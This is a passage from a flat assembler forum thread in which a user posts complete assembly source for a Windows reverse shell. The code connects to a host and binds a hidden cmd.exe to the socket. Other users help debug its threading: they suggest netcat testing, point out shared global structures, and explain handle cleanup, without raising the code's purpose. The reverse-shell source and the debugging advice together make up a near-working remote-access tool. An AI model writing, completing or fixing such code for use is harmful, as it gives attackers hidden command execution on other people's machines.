flat assembler
Message board for the users of flat assembler.
Index
> Windows > Console Chat Help ;p Goto page Previous 1, 2 |
Author |
|
Overflowz 11 Sep 2010, 18:08
I figured out whats proble. thanks for help everyone!
|
|||
11 Sep 2010, 18:08 |
|
Picnic 14 Sep 2010, 09:41
baldr wrote: WaitForSingleObject() looks like better alternative to Sleep(). It changes behavior from "probably thread's done" to "it's done". Absolutely, that was just a stopgap solution. |
|||
14 Sep 2010, 09:41 |
|
jochenvnltn 23 Jan 2016, 02:24
Picnic wrote: You're welcome. Hello Picnic Ive tried to use your example in a reverse shell, but it keeps creating cmd.exe processes. Im still trying to learn about WinSock. Can you point out what's wrong with my code pls ? Code: include 'win32ax.inc' entry main IPPROTO_TCP = 6 PORT = 8080 cmd db "cmd.exe",0 UrIP db "localhost",0 sinfo STARTUPINFO pinfo PROCESS_INFORMATION saddr sockaddr_in wsadata WSADATA sock dd ? lpThreadId dd ? main: invoke WSAStartup, 0202h, wsadata test eax,eax jnz exit invoke WSASocketA, AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 cmp eax, -1 jz exit mov [sock],eax mov [saddr.sin_family],AF_INET invoke htons,PORT mov [saddr.sin_port],ax invoke gethostbyname, UrIP mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov [saddr.sin_addr], eax mov eax,[sock] .while 1 invoke connect, [sock], saddr , sizeof.sockaddr_in invoke CreateThread, 0, 0, Thread_ShellSpawner, eax, 0, addr lpThreadId .endw exit:invoke ExitProcess,0 proc Thread_ShellSpawner,client:dword mov dword [sinfo.cb],sizeof.STARTUPINFO mov dword [sinfo.dwFlags],STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES mov word [sinfo.wShowWindow], SW_HIDE mov word [sinfo.cbReserved2], 0 mov dword [sinfo.lpReserved2], 0 mov eax,[client] mov [sinfo.hStdInput],eax mov [sinfo.hStdOutput],eax mov [sinfo.hStdError],eax invoke CreateProcess, 0, <"cmd.exe">, 0, 0, TRUE, 0, 0, 0,addr sinfo,addr pinfo invoke WaitForSingleObject,dword[pinfo.hProcess],-1 invoke closesocket, dword [client] ret endp section '.idata' import data readable writeable library kernel32,'kernel32.dll',user32,'user32.dll',ws2_32,'ws2_32.dll' include "%include%/api/ws2_32.inc" include "%include%/api/kernel32.inc" include "%include%/api/user32.inc" |
|||
23 Jan 2016, 02:24 |
|
Picnic 25 Jan 2016, 10:03
Hi jochenvnltn,
Take it one step at a time, see if you can make the program work without the thread part. Try a simple connect, try different UrIP values, check the return values from function. Use netcat to test the program. Sorry if i wasn't of much help. |
|||
25 Jan 2016, 10:03 |
|
jochenvnltn 25 Jan 2016, 10:34
Picnic wrote: Hi jochenvnltn, It works great without the thread part. My question is however why it does not work with the thread part ... |
|||
25 Jan 2016, 10:34 |
|
revolution 25 Jan 2016, 11:11
jochenvnltn wrote: It works great without the thread part. My question is however why it does not work with the thread part ... |
|||
25 Jan 2016, 11:11 |
|
Picnic 25 Jan 2016, 11:52
jochenvnltn,
Now i see that in my example a new socket handle is passed to the thread as parameter (created by accept). But connect function is not returning a new socket, maybe there lurks the error. |
|||
25 Jan 2016, 11:52 |
|
jochenvnltn 25 Jan 2016, 11:56
revolution wrote:
Thx for the tip. I did not know that The problem here is that the global variables are not used in the thread, so it can't be part of the problem here. |
|||
25 Jan 2016, 11:56 |
|
revolution 25 Jan 2016, 11:59
sinfo is global and used within the thread, no? pinfo also, no?
|
|||
25 Jan 2016, 11:59 |
|
jochenvnltn 25 Jan 2016, 12:03
revolution wrote: sinfo is global and used within the thread, no? pinfo also, no? Ha.. Okay sorry about that.. Your right Ill do some more reading about the subject. thx for the reply. |
|||
25 Jan 2016, 12:03 |
|
revolution 25 Jan 2016, 12:12
BTW: Whenever you create a thread you should also close the thread handle (with CloseHandle) at some point, else you get handle and memory leakage problems. If you don't need the exit code then you can close the handle immediately and just let the thread do its things and close itself when done.
Note: Closing the handle does not close the thread so don't worry about it being prematurely terminated. |
|||
25 Jan 2016, 12:12 |
|
jochenvnltn 25 Jan 2016, 12:15
revolution wrote: BTW: Whenever you create a thread you should also close the thread handle (with CloseHandle) at some point, else you get handle and memory leakage problems. If you don't need the exit code then you can close the handle immediately and just let the thread do its things and close itself when done. Okay revolution thank you ill get testing with this. Im also learning at the same time, so thank you for the tip |
|||
25 Jan 2016, 12:15 |
|
Goto page Previous 1, 2 < Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.
Website powered by rwasa.